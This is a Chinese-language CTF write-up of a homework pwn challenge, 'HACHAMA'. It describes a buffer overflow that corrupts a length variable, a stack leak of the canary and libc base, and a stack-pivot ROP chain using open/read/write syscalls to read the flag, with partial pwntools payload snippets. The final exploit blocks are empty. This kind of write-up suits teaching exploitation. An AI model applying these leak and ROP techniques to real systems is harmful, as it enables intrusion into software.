Simple PWN 0x37(2023 HW - HACHAMA)
Background
stack pivot rop bof
Source code
:::spoiler Source Code
1 |
|
:::
Recon
:::warning 切記題目用read接,所以不需要null byte做結尾,另外題目使用的libc是ubuntu 22.04.2的版本,所以可以用docker把libc資料撈出來,再針對這個做應用 ::: 這一題我覺得出的很好,有很特別的exploit,也需要用到很多前兩周學會的幾乎所有技能,包含BOF / return 2 libc / stack pivot / ROP等等
-
==漏洞在哪裡???== 首先,乍看之下會不知道這個洞在哪裡,不過多try幾次或是跟一下動態會發現,他做的事情會蓋到原本==n2==的數值,導致我們之後可以輸入更多的東西 詳細來說就是: 因為在#61的地方輸入的東西被存到local variable name,而在#63會被copy到global variable ==msg==,並且和
hachamachama
合併在一起,如果一開始我們輸入的東西是20個字元,而concatenate的hachamachama
總共13個字元,加起來就已經是==33==個字元,但如下圖所示,msg一開始的大小就被限制在32 bytes,也就是說他會蓋到後面n2的值從下圖可以看出來,因為長度超過的關係,原本
hachamachama
的最後一個字元,也就是0x61往後蓋到n2的值,這代表我們在往後的地方可以多加利用 - 知道漏洞在哪裡之後,我們就可以利用這個洞,把stack的東西leak出來
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19payload = b'HACHAMA'.ljust(0x8, b'\x00') r.send(payload) result = r.recv(0x61) log.info("[-------------Stack Info-------------]") for i in range(12): log.info(hex(u64(result[i * 8:i * 8 + 8]))) log.info("[-------------Stack Info-------------]") canary = u64(result[7 * 8:7 * 8 + 8]) libc_start_main = u64(result[9 * 8:9 * 8 + 8]) - 0x80 libc_base_addr = libc_start_main - 0x29d90 + 0x80 main_fn_addr = u64(result[11 * 8:11 * 8 + 8]) code_segment_base = main_fn_addr - 0x331 log.success(f'Canary = {hex(canary)}') log.success(f'libc start main base = {hex(libc_start_main)}') log.success(f'libc base addr = {hex(libc_base_addr)}') log.success(f'Main Function Address = {hex(main_fn_addr)}') log.success(f'Code Segment = {hex(code_segment_base)}')
- 有了canary / libc base 和code segment base / main function address,就可以來搞事了,初步的想法是直接寫一個open / read / write的syscall(因為seccomp的關係導致我們的操作極其有限),不過因為我們也只是多了0x31的空間可以寫ROP,代表一定沒辦法把所有的shellcode都寫上去,這時候就需要用到stack pivot的技術,開一個相對大的空間繼續我們的作業,但就像@ccccc說的
stack pivot只是把你的stack用到其他地方而已,並不會因為你換了stack的位置你就能overflow比較多
所以比較正確的觀念是,我先利用多出來的0x31把可以用的空間開大,再寫gadget,會比較方便,如果是像lab那樣每一個步驟都切成一個stack pivot的話也不現實,因為一個操作所需要的空間一定大於0x31,隨便舉個例子,如果是open→
fd = open("/home/chal/flag.txt", 0);
,全部的payload如下:1
2
3
4
5
6
7
8
9
10payload = b'/home/chal/flag.txt'.ljust(0x38, b'\x00') payload += flat( canary, 0, pop_rax_ret, 2, pop_rdi_ret, bss_addr_flag - 0x40, pop_rdx_rbx_ret, 0, 0, pop_rsi_ret, 0, syscall_ret )
最少也需要0x98的空間,所以擴大可以寫的空間是必要的,但我還是稍微嘮叨一下,一開始我的想法是直接把n2的數值改掉,這樣就可以解決上述的問題,但實際操作會發現這也不現實,因為payload也會過長,如下
1
2
3
4
5
6
7
8
9payload = b'a' * 0x38 payload += flat( canary, rbp, pop_rdi_ret, n2_addr, pop_rdx_ret, 0x200, mov_qword_ptr_rdi_rdx_ret, main_fn_addr + 291, )
這樣最少也需要0x78的空間,比起最大值的0x61還差蠻多的,所以昨天就想了超久怎麼解決這個問題
- 解決空間大小的問題
這個要回到動態實際執行的時候是怎麼呼叫的(如下圖),這一題有趣的地方在這邊,理論上我們是回到main+291,讓他fetch n2的值給RAX,但如果我直接跳到main+298,並且利用rop把rax變大,是不是也有一樣的效果
1
2
3
4
5
6extend_payload = flat( canary, bss_addr_flag, pop_rax_ret, 400, main_fn_addr + 298, )
此時我們就不需要那麼多的gadget幫助完成該目標
- 剩下的open / read / write就和lab差不多
:::success 截至目前為止,我們的流程是
- 設法利用overflow改變n2的數值,使我們能夠輸入更多shell code
- 先利用第一次的write輸入stack上的重要資訊
- 因為n2空間還是太小,所以我們需要先擴大能夠寫入的空間,也就是先利用第一次的stack pivot把shellcode寫上去→main+291
- 執行shellcode後,使rax變大再跳回去main+298
- 寫入真正的open / read / write讀出flag :::
:::warning 注意事項:
- canary 因為他有開stack protection,所以一定要對好canary在stack上的位置,可以用動態去看,依照這一題的狀況,他是會在rbp+0x40的地方
- libc version
這一題因為要leak libc的base address,並且利用ROP gadget達到syscall的目的,所以一定要確定remote server使用的版本是哪一個,光知道大的版本號是有可能會失敗的,因為像我local端到最後有成功,但跑在remote就爛掉了,和@david學長討論過後的結果就是libc version有問題,實際用docker去看彼此的差異就會發現,右邊是我的→22.04.3,而左邊是實際remote的docker開出來的結果→22.04.2,所以我的作法是把docker中的東西拉出來再使用,包含在local端使用以及找gadget
1
$ docker cp /lib/x86_64-linux-gnu/libc.so.6 /mnt/d/Downloads/
- IO problem 這個問題也是很弔詭,會發現我在最後一個send之前還有一個raw_input(),如果拿掉的話在remote一樣會爛掉,這有可能是IO之類的問題,但總之一定要加 :::
Exploit - BOF + Stack Pivot + ROP
1 |
|
1 |
|
Flag: flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}